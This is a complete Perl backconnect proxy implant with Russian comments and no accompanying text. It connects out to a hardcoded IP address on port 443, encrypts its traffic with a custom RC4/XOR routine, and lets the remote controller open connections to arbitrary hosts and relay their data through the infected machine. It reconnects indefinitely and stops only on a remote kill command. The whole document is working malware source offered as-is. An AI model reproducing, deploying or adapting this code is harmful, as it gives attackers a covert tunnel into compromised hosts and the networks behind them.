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#!/usr/bin/env perl

use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl qw(F_GETFL F_SETFL O_NONBLOCK);

my $host = '36.255.98.172';
my $port = 443;

my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); }

# ====================== ОПТИМИЗИРОВАННЫЙ RC4 ======================
sub Rc4_crypt_fast {
    my ($passw, $length, $buff0, $start, $sz) = @_;

# Быстрый доступ к данным
    my $data_ref = $$buff0;
    my $key_ref = $$passw;

# Первый XOR с ключом
    for (my $i = 0; $i < $sz; $i++) {
        vec($data_ref, $start + $i, 8) ^= vec($key_ref, $i % $length, 8);
    }

# Инициализация RC4 (точная копия оригинального алгоритма)
    my $rc4 = "\x00" x 256;
    vec($rc4, $_, 8) = $_ for 0..255;

my $pockemon0 = 0;
    my $pockemon1 = 0;
    my $pockemon2 = 0;
    my $pockemon3 = $length;
    my $gs = 0;

while(1) {
        if ($gs == 0) {
            $pockemon2 = 0;
            $pockemon3 = $length;
        }

if ($gs != 0) {
            $gs = 0;
            $pockemon2++;
            if (--$pockemon3 == 0) { next; }
        }

my $pockemon7 = vec($rc4, $pockemon0, 8);
        $pockemon1 += vec($key_ref, $pockemon2, 8);
        $pockemon1 &= 255;
        $pockemon1 += $pockemon7;
        $pockemon1 &= 255;

my $pockemon6 = vec($rc4, $pockemon1, 8);
        vec($rc4, $pockemon0, 8) = $pockemon6;
        vec($rc4, $pockemon1, 8) = $pockemon7;

$pockemon0++;
        $pockemon0 &= 255;

if ($pockemon0 != 0) {
            $gs = 1;
            next;
        }

# Основное шифрование
        $pockemon1 = 0;
        $pockemon0 = 0;
        $pockemon2 = 0;

for (my $pockemon3 = 0; $pockemon3 < $sz; $pockemon3++) {
            $pockemon2++;
            $pockemon2 &= 255;

$pockemon7 = vec($rc4, $pockemon2, 8);
            $pockemon1 += $pockemon7;
            $pockemon1 &= 255;

my $pockemon8 = vec($rc4, $pockemon1, 8);
            vec($rc4, $pockemon2, 8) = $pockemon8;
            vec($rc4, $pockemon1, 8) = $pockemon7;

$pockemon8 += $pockemon7;
            $pockemon8 &= 255;

vec($data_ref, $start + $pockemon3, 8) ^= vec($rc4, $pockemon8, 8);
        }

last;
    }

# Второй XOR с ключом
    for (my $i = 0; $i < $sz; $i++) {
        vec($data_ref, $start + $i, 8) ^= vec($key_ref, $i % $length, 8);
    }

$$buff0 = $data_ref;
}

# Обертка для совместимости с оригинальным вызовом
sub Rc4_crypt {
    Rc4_crypt_fast(@_);
}

# ====================== ОПТИМИЗИРОВАННЫЙ BCCNCT ======================
sub bccnct_optimized {
    my ($host, $port) = @_;

my $remaining = 0;
    my $remaining4 = 0;
    my $domain;
    my $port0;
    my @socketarr;
    my @socketarray;
    my $buffer = "\x00" x 100;
    my $buffernull = "\x00\x00\x00";
    my $buffer0 = "\x00" x 65536;
    my $buffer1 = "\x00" x 65536;
    my $isExit = 0;
    my $_ret0 = 0;
    my $ecx = 0;
    my $eax = 0;
    my $data = 0;
    my $_ret = 0;
    my $ebx = 0;
    my $edx = 0;
    my $counter = 0;
    my $countcc = 0;
    my $rin = '';
    my $str_vec = "\x00";
    my $str_wec = "\x00\x00";

for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }

my $responce = "\x00\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";

# Создание и настройка главного сокета
    socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return 0;

setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
    setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, pack("I", 65536));
    setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, pack("I", 65536));

my $paddr = sockaddr_in($$port, inet_aton($$host));
    unless(connect($socketarr[0], $paddr)) { goto close0; }

# Отправка handshake
    substr($buffer, 0, 50) = $xordata;
    substr($buffer, 50, 2) = "\xFF\xFF";
    substr($buffer, 54, 11) = "Perl script";

Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
    syswrite($socketarr[0], $buffer, length($buffer));

my $last_activity = time();

while(1) {
        # Проверяем таймаут неактивности
        if (time() - $last_activity > 60) {
            Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
            syswrite($socketarr[0], $buffernull, length($buffernull));
            $last_activity = time();
        }

$countcc = 0;
        $rin = '';

# Проверяем активные сокеты (целевые серверы)
        for (my $i = 1; $i < 200; $i++) {
            if ($socketarray[$i] == 1) {
                vec($rin, fileno($socketarr[$i]), 1) = 1;
                $countcc++;
            }
        }

# Обработка данных от целевых серверов
        if ($countcc > 0) {
            unless (select($rin, undef, undef, 0.001)) { goto next__; }

for (my $i = 1; $i < 200; $i++) {
                if (($socketarray[$i] == 1) && vec($rin, fileno($socketarr[$i]), 1)) {
                    $data = sysread($socketarr[$i], $buffer1, 65530, 3);

unless ($data) {
                        $socketarray[$i] = 0;
                        close($socketarr[$i]);

vec($str_vec, 0, 8) = $i;
                        substr($responce, 0, 1) = $str_vec;
                        substr($responce, 1, 2) = "\x00\x00";

Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
                        syswrite($socketarr[0], $responce, 3, 0);
                    } else {
                        vec($str_vec, 0, 8) = $i;
                        substr($buffer1, 0, 1) = $str_vec;
                        substr($buffer1, 1, 2) = pack('S', $data);

Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3);
                        Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data);

syswrite($socketarr[0], $buffer1, 3 + $data);
                    }
                }
            }
        }

next__:

# Проверяем данные от главного сервера
        if ($remaining4 != 4) {
            $rin = '';
            vec($rin, fileno($socketarr[0]), 1) = 1;

my $ret = select($rin, undef, undef, 0.01);

next if ($ret < 0);

if ($ret == 0) {
                $counter++;

if ($counter == 100 * 60) {
                    $counter = 0;

last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
                    last if ($remaining != 0);
                    last if ($remaining4 != 0);

Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
                    syswrite($socketarr[0], $buffernull, length($buffernull));
                }

next;
            }
        }

if ($remaining != 0 || $remaining4 == 4) {
            if ($edx == 0) {
                if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
                    $isExit = 1;
                    last;
                } elsif ($ebx < 200 && $ebx > 0 && $socketarray[$ebx] == 1) {
                    $socketarray[$ebx] = 0;
                    close($socketarr[$ebx]);

vec($str_vec, 0, 8) = $ebx;
                    substr($responce, 0, 1) = $str_vec;
                    substr($responce, 1, 2) = "\x00\x00";

Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
                    syswrite($socketarr[0], $responce, 3, 0);
                }
            } else {
                $ecx = $edx;
                $ecx = $ecx - $remaining;

$data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4);

unless ($data) { last; }

$remaining += $data;
                $last_activity = time();

if ($edx == $remaining) {
                    Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);

if (vec(substr($buffer0, 0, 1), 0, 8) == 0) {
                        socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));

$_ret0 = 0;
                        $socketarray[$ebx] = 1;

substr($responce, 0, 13) = "\x00\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
                        vec($str_vec, 0, 8) = $ebx;
                        substr($responce, 0, 1) = $str_vec;

setsockopt($socketarr[$ebx], IPPROTO_TCP, TCP_NODELAY, 1);
                        setsockopt($socketarr[$ebx], SOL_SOCKET, SO_RCVBUF, pack("I", 65536));
                        setsockopt($socketarr[$ebx], SOL_SOCKET, SO_SNDBUF, pack("I", 65536));

fcntl($socketarr[$ebx], F_SETFL, fcntl($socketarr[$ebx], F_GETFL, 0) | O_NONBLOCK);

# Определение типа адреса (оригинальная логика)
                        if (vec(substr($buffer0, 7, 1), 0, 8) == 3) {
                            $domain = substr($buffer0, 9, vec(substr($buffer0, 8, 1), 0, 8));
                            $port0 = vec(substr($buffer0, 9 + vec(substr($buffer0, 8, 1), 0, 8) + 0, 1) .
                                         substr($buffer0, 9 + vec(substr($buffer0, 8, 1), 0, 8) + 1, 1), 0, 16);
                        } elsif (vec(substr($buffer0, 7, 1), 0, 8) == 1) {
                            $domain = sprintf("%d.%d.%d.%d",
                                vec(substr($buffer0, 8 + 0, 1), 0, 8),
                                vec(substr($buffer0, 8 + 1, 1), 0, 8),
                                vec(substr($buffer0, 8 + 2, 1), 0, 8),
                                vec(substr($buffer0, 8 + 3, 1), 0, 8));
                            $port0 = vec(substr($buffer0, 12 + 0, 1) .
                                         substr($buffer0, 12 + 1, 1), 0, 16);
                        } else {
                            goto close_;
                        }

# Установка соединения с целевым сервером
                        eval {
                            my $paddr = sockaddr_in($port0, inet_aton($domain));
                            connect($socketarr[$ebx], $paddr);

vec(my $win = '', fileno($socketarr[$ebx]), 1) = 1;
                            unless (select(undef, $win, undef, 1)) { goto close_; }

fcntl($socketarr[$ebx], F_SETFL, fcntl($socketarr[$ebx], F_GETFL, 0) ^ O_NONBLOCK);
                            substr($responce, 4, 1) = "\x00";
                            $_ret0 = 1;
                        };

close_:

Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
                        Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
                        syswrite($socketarr[0], $responce, length($responce));

if ($_ret0 == 0) {
                            $socketarray[$ebx] = 0;
                            close($socketarr[$ebx]);

vec($str_vec, 0, 8) = $ebx;
                            substr($responce, 0, 1) = $str_vec;
                            substr($responce, 1, 2) = "\x00\x00";

Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
                            syswrite($socketarr[0], $responce, 3, 0);
                        }
                    } elsif ($socketarray[$ebx] == 1) {
                        syswrite($socketarr[$ebx], $buffer0, $remaining, 4);
                    }

$remaining = 0;
                }
            }

$remaining4 = 0;
        } else {
            $eax = 4;
            $eax = $eax - $remaining4;

$data = sysread($socketarr[0], $buffer0, $eax, $remaining4);

unless ($data) { last; }

$remaining4 += $data;
            $last_activity = time();
            substr($buffernull, 0, 3) = "\x00\x00\x00";
            $counter = 0;

if ($remaining4 == 4) {
                Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);

$ebx = vec(substr($buffer0, 1, 1), 0, 8);
                $edx = unpack('S', substr($buffer0, 2, 2));

$_ret = 1;
            }
        }
    }

close0:

close($socketarr[0]);

for (my $i = 0; $i < 200; $i++) {
        if ($socketarray[$i] == 1) { close($socketarr[$i]); }
    }

if ($isExit == 1) { exit; }

return $_ret;
}

# ====================== ГЛАВНЫЙ ЦИКЛ С ЭКСПОНЕНЦИАЛЬНОЙ ЗАДЕРЖКОЙ ======================
my $retry_delay = 1;
my $max_retry_delay = 180;

while(1) {
    if (bccnct_optimized(\$host, \$port)) {
        $retry_delay = 1;  # Сброс задержки при успехе
        sleep 1;
    } else {
        sleep $retry_delay;
        $retry_delay = $retry_delay * 2;
        $retry_delay = $max_retry_delay if $retry_delay > $max_retry_delay;
    }
}

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